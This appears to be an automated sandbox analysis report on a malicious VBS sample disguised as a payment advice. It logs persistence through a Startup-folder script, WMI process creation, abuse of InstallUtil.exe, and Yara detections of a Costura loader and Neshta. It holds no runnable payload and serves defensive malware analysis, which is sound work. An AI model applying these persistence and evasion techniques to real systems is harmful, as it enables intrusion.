Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PaymentAdvice-1629043.vbs

Static file information: File size 2368371 > 1048576

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2160144356.000000000A160000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.0000000006806000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.00000000068F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2160144356.000000000A160000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.0000000006806000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.00000000068F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2258049661.00000000012F0000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe.6.dr
Source:	Binary string: powershell.pdbUGP source: PaymentAdvice-1629043.vbs.exe, 00000004.00000000.2071289930.0000000000951000.00000020.00000001.01000000.00000005.sdmp, Value.vbs.exe, 0000000C.00000000.2216728771.0000000000C18000.00000020.00000001.01000000.00000009.sdmp, PaymentAdvice-1629043.vbs.exe.2.dr, Value.vbs.exe.9.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000000.2071289930.0000000000951000.00000020.00000001.01000000.00000005.sdmp, Value.vbs.exe, 0000000C.00000000.2216728771.0000000000C18000.00000020.00000001.01000000.00000009.sdmp, PaymentAdvice-1629043.vbs.exe.2.dr, Value.vbs.exe.9.dr
Source:	Binary string: protobuf-net.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, InstallUtil.exe, 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2258049661.00000000012F0000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe.6.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 4.2.PaymentAdvice-1629043.vbs.exe.61efdd0.6.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.PaymentAdvice-1629043.vbs.exe.61efdd0.6.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.PaymentAdvice-1629043.vbs.exe.61efdd0.6.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.61efdd0.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.61efdd0.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 4.2.PaymentAdvice-1629043.vbs.exe.619fdb0.4.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.PaymentAdvice-1629043.vbs.exe.619fdb0.4.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.PaymentAdvice-1629043.vbs.exe.619fdb0.4.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.619fdb0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.619fdb0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a110000.10.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a110000.10.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a110000.10.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a110000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a110000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 4.2.PaymentAdvice-1629043.vbs.exe.a090000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.PaymentAdvice-1629043.vbs.exe.60fdd70.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Value.vbs.exe.662d358.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2158943338.000000000A090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Value.vbs.exe PID: 5232, type: MEMORYSTR

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Code function: 4_2_0A2A31B0 push ebx; iretd	4_2_0A2A31B7
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5EE3BC push 8B0476FFh; retf	12_2_0A5EE3C2
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5EE17D push 8B04568Bh; retf	12_2_0A5EE183
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5EE1FF push 8B04568Bh; retf	12_2_0A5EE20A
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5E66AA push 5E047189h; ret	12_2_0A5E66CE
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A9431B0 push ebx; iretd	12_2_0A9431B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0040802C push 00408052h; ret	14_2_0040804A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004070A4 push 004070D0h; ret	14_2_004070C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004041D8 push 00404204h; ret	14_2_004041FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004041A0 push 004041CCh; ret	14_2_004041C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404256 push 00404284h; ret	14_2_0040427C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404258 push 00404284h; ret	14_2_0040427C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404210 push 0040423Ch; ret	14_2_00404234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004042C8 push 004042F4h; ret	14_2_004042EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404290 push 004042BCh; ret	14_2_004042B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404370 push 0040439Ch; ret	14_2_00404394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404300 push 0040432Ch; ret	14_2_00404324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404338 push 00404364h; ret	14_2_0040435C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004043E0 push 0040440Ch; ret	14_2_00404404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00411BEE push eax; iretd	14_2_00411BEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004043A8 push 004043D4h; ret	14_2_004043CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00406CE0 push 00406D36h; ret	14_2_00406D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00403D28 push 00403D79h; ret	14_2_00403D71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00403F58 push 00403F84h; ret	14_2_00403F7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00403F90 push 00403FBCh; ret	14_2_00403FB4

Persistence and Installation Behavior

Yara detected Neshta

Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5332, type: MEMORYSTR

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe			Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Roaming\Value.vbs.exe			Jump to dropped file

Boot Survival

Yara detected Neshta

Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5332, type: MEMORYSTR

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Value.vbs.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
